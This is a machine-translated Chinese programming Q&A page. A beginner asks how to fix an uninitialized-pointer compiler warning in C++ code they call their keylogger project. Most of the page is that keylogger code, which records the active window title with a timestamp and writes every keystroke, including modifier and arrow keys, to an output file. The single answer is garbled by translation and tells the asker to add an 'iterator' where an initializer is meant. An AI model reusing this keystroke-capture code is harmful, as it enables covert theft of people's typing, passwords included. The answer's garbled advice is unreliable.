错误C4703可能使用了未初始化的本地指针变量'layout'

时间:2019-09-24 06:15:48

标签: c++ visual-studio

我是C ++和编码的新手,这是我在线上借来的代码,能够解决除此以外的其他问题,我认为这是由于优化或某些代码编写错误而引起的,请提供帮助。

HKL布局在那里。

HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout; // HERE
    if (foreground) {
        //get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID); // HERE
    }

if (foreground)
{
    char window_title[256];
    GetWindowText(foreground, window_title, 256);

    if(strcmp(window_title, lastwindow)!=0) {
        strcpy(lastwindow, window_title);

        // get time
        time_t t = time(NULL);
        struct tm *tm = localtime(&t);
        char s[64];
        strftime(s, sizeof(s), "%c", tm);

        OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] ";
    }
}


std::cout << key_stroke << '\n';

if (key_stroke == VK_BACK)
    OUTPUT_FILE << "[BACKSPACE]";
else if (key_stroke == VK_RETURN)
    OUTPUT_FILE <<  "\n";
else if (key_stroke == VK_SPACE)
    OUTPUT_FILE << " ";
else if (key_stroke == VK_TAB)
    OUTPUT_FILE << "[TAB]";
else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
    OUTPUT_FILE << "[SHIFT]";
else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
    OUTPUT_FILE << "[CONTROL]";
else if (key_stroke == VK_ESCAPE)
    OUTPUT_FILE << "[ESCAPE]";
else if (key_stroke == VK_END)
    OUTPUT_FILE << "[END]";
else if (key_stroke == VK_HOME)
    OUTPUT_FILE << "[HOME]";
else if (key_stroke == VK_LEFT)
    OUTPUT_FILE << "[LEFT]";
else if (key_stroke == VK_UP)
    OUTPUT_FILE << "[UP]";
else if (key_stroke == VK_RIGHT)
    OUTPUT_FILE << "[RIGHT]";
else if (key_stroke == VK_DOWN)
    OUTPUT_FILE << "[DOWN]";
else if (key_stroke == 190 || key_stroke == 110)
    OUTPUT_FILE << ".";
else if (key_stroke == 189 || key_stroke == 109)
    OUTPUT_FILE << "-";
else if (key_stroke == 20)
    OUTPUT_FILE << "[CAPSLOCK]";
else {
    char key;
    // check caps lock
    bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

    // check shift key
    if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
        lowercase = !lowercase;   
    }

    //map virtual key according to keyboard layout 
    **key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);**

    //tolower converts it to lowercase properly
    if (!lowercase) key = tolower(key);
    OUTPUT_FILE <<  char(key);

帮助解决了已经定义为nullptr的此代码,可以工作,但是输出以数字显示,因为它是我的键盘记录器项目,没有显示实际的击键,只是数字。

1 个答案:

答案 0 :(得分:1)

问题在于,仅在if中给布局赋值。您应该在声明该警告的地方添加一个迭代器,或者在其他地方添加一个迭代器,以便编译器可以推断出它不会被统一使用。